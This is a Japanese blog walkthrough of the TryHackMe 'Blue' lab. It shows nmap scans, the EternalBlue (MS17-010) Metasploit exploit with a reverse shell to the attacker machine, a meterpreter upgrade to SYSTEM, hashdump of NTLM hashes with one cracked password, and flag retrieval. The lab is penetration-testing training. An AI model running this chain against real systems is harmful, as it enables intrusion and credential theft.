😽

フラグ獲得までTryHack "Blue"

2022/09/03に公開

TryHackme"Offensive Pentesting"というLearningPathでチュートリアル後の2つ目のサーバ"Blue"です。
2017年に世界中で猛威を振るった「WannaCry」というランサムウェア。このウイルスは感染するとデータを暗号化し身代金を要求するなどかなり悪質なもので、企業や金融機関などのコンピュータ23万台に感染し多大な被害を与えました。なぜここまで拡大したかというと、この「WannaCry」が多くのコンピュータに搭載されていたWindowsのSMBv1の脆弱性を悪用していたためです。
「WannaCry」で使われていたWindowsの脆弱性を攻撃するプログラム名は「Eternal Blue」と呼ばれていて、今回のタイトル"Blue"から察しがつくとおり、「Eternal Blue」を使ってターゲットマシンのフラグを獲得します。

ターゲットマシン

Title:Blue
IPaddress:10.10.33.239

攻撃マシン

OS:Kali Linux
IPaddress:10.13.48.145

Task1:Recon

ウォークスルーのお題で1000番以下のポートでOpenになっているものがいくつかあるか聞かれているので、nmapコマンドで探索します。

└─$ nmap -Pn -T4 -p-1000 10.10.33.239   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 07:02 EDT
Nmap scan report for 10.10.33.239
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

-Pn:スキャン前にpingを送信しない
-T4:高速スキャン(T0~T5最速)、
0:paranoid、1:sneaky 、2:polite、3:normal、4:aggressive 、5:insane
-p-1000:ポートレンジ指定1-1000

これより、135、139、445ポートの3つが空いていることがわかりました。
次に、ターゲットマシンの脆弱性は何かという問題でヒントでms??-???と書かれています。
ということでnmapのオプションに--script vulnを追加します。これにより、既知の脆弱性をチェックすることができます。
(参考)https://nmap.org/book/nse-usage.html

└─$ nmap -sV --script vuln 10.10.33.239 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 07:04 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.33.239
Host is up (0.25s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

-sV:サービスとバージョンの検出
--script:スクリプトを利用したスキャン
スクリプトを使ったスキャン機能について検証されているサイト
(参考)http://n.pentest.ninja/?p=32488

大きく2つの脆弱性が検知されました。
1 ms12-020
2 ms17-010
今回のウォークスルーでは2のms17-010の脆弱性を利用して、ターゲットマシンにアクセスしていきます。

Task2:Gain Access

metasploitを使ってターゲットマシンにアクセスをしていきます。
metasploitとは、ペネトレーションテストを自動化するフレームワークです。Kali linuxには標準でインストールされています。
(参考)https://cyberfortress.jp/2020/10/23/blog-metasploit/

まずは、msfconsoleコマンドを実行してMetasploitを起動します。
起動すると、以下のような対話モードになります。

msf6 > 

searchコマンドを使って、先ほどの脆弱性を検索します。

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

4件ヒットしました。
今回は、0番目のexploit/windows/smb/ms17-010_eternalblueを利用します。EternalBlueと説明にも書いてありますね。

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

optionsコマンドを使って設定すべき値を確認します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metaspl
                                             oit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication.
                                             Only affects Windows Server 2008 R2, Windows 7, Windows E
                                             mbedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only
                                              affects Windows Server 2008 R2, Windows 7, Windows Embed
                                             ded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects W
                                             indows Server 2008 R2, Windows 7, Windows Embedded Standa
                                             rd 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.60.128   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

RHOSTSとLHOSTをこの環境用に設定すれば問題なさそうです。
RHOSTS:ターゲットマシンのIPアドレス
LOHST:攻撃マシンのIPアドレス
この2つをsetコマンドで設定していきます。
(+ウォークスルーで指示されているpayloadもあわせて設定します)

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.33.239
RHOSTS => 10.10.33.239
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.13.48.145
LHOST => 10.13.48.145
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp

では、準備が整ったので、runコマンドでexploitを実行します。
ターゲットマシンにアクセスできました。こんなに簡単にアクセスできてしまうんですね。

C:\Windows\system32>

Task3:Escalate

リバースシェルを利用してmeterpreterのシェルを作ります。
meterpreterとは、Metasploitのコンポーネントの1つで、脆弱性をエクスプロイトした後のペイロードとして利用されます。ペイロードとは、エクスプロイトが成功した後に実行されるコードのことで、ターゲットマシンのさらなる侵害を行うことができます。今回は、パスワードハッシュのダンプを取得して解読したり、フラグファイルをダウンロードするのに必要です。
(参考)https://www.oreilly.co.jp/pub/9784873115382/Metasploit_sample-C06.pdf

ctrl+zで今のセッションをバックグラウンドに移動させる。

C:\Windows\system32>^Z
Background session 21? [y/N]  y

次に、shell_to_meterpreterを起動します。
合わせてoptionsも確認しておくと、SESSIONを設定する必要があるので、先ほどのバックグラウンドに移動させたセッションを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > use shell_to_meterpreter

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade


Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter                                                                                                

[*] Using post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (W
                                       ill try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type               Information                         Connection
  --  ----  ----               -----------                         ----------
  1         shell x64/windows  Shell Banner: Microsoft Windows [V  10.13.48.145:4444 -> 10.10.33.239:4
                               ersion 6.1.7601] -----              9190 (10.10.33.239)

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1

実行して、再度セッションを確認すると、ID=2にmeterpreterセッションが新しく作られたので、こちらのセッションに入れば、meterpreter shellでのアクセス成功です。これによりさらに様々な攻撃ができるようになりました。

msf6 post(multi/manage/shell_to_meterpreter) > run

msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                      Connection
  --  ----  ----                     -----------                      ----------
  1         shell x64/windows        Shell Banner: Microsoft Windows  10.13.48.145:4444 -> 10.10.33.23
                                      [Version 6.1.7601] -----        9:49190 (10.10.33.239)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC     10.13.48.145:4433 -> 10.10.33.23
                                                                      9:49202 (10.10.33.239)

以下のコマンドでID=2のセッションに接続します。

msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...

Task4:Cracking

フラグを探索する前にちょっと寄り道です。
パスワードクラッキングの問題が出ているので、解いていきます。
meterpreterのコマンドであるhashdumpコマンドを実行します。

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Jonというユーザがいることがわかったので、パスワードを解析していく。
解析ツールにClack stationというものがあるので、こちらのサイトを利用する。
https://crackstation.net/

図のようにCrack stationに暗号化されたパスワードを入力すると、Alqfha22と解読されました。

Task5:Find flags!

最後にフラグを探します。

meterpreter > search -f *flag*
Found 6 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482           2019-03-17 15:26:42 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848           2019-03-17 15:30:04 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344          2019-03-17 15:32:52 -0400
c:\Users\Jon\Documents\flag3.txt                                 37            2019-03-17 15:26:36 -0400
c:\Windows\System32\config\flag2.txt                             34            2019-03-17 15:32:48 -0400
c:\flag1.txt                                                     24            2019-03-17 15:27:21 -0400

ファイルをダウンロードして中身を確認すればフラグ獲得!

meterpreter > download "C:\flag1.txt" ~/
[*] Downloading: C:\flag1.txt -> /home/kali/flag1.txt
[*] Downloaded 24.00 B of 24.00 B (100.0%): C:\flag1.txt -> /home/kali/flag1.txt
[*] download   : C:\flag1.txt -> /home/kali/flag1.txt
meterpreter > download "C:\Windows\System32\config\flag2.txt" ~/
[*] Downloading: C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
[*] Downloaded 34.00 B of 34.00 B (100.0%): C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
[*] download   : C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
meterpreter > download "C:\Users\Jon\Documents\flag3.txt" ~/
[*] Downloading: C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%): C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt
[*] download   : C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt

Discussion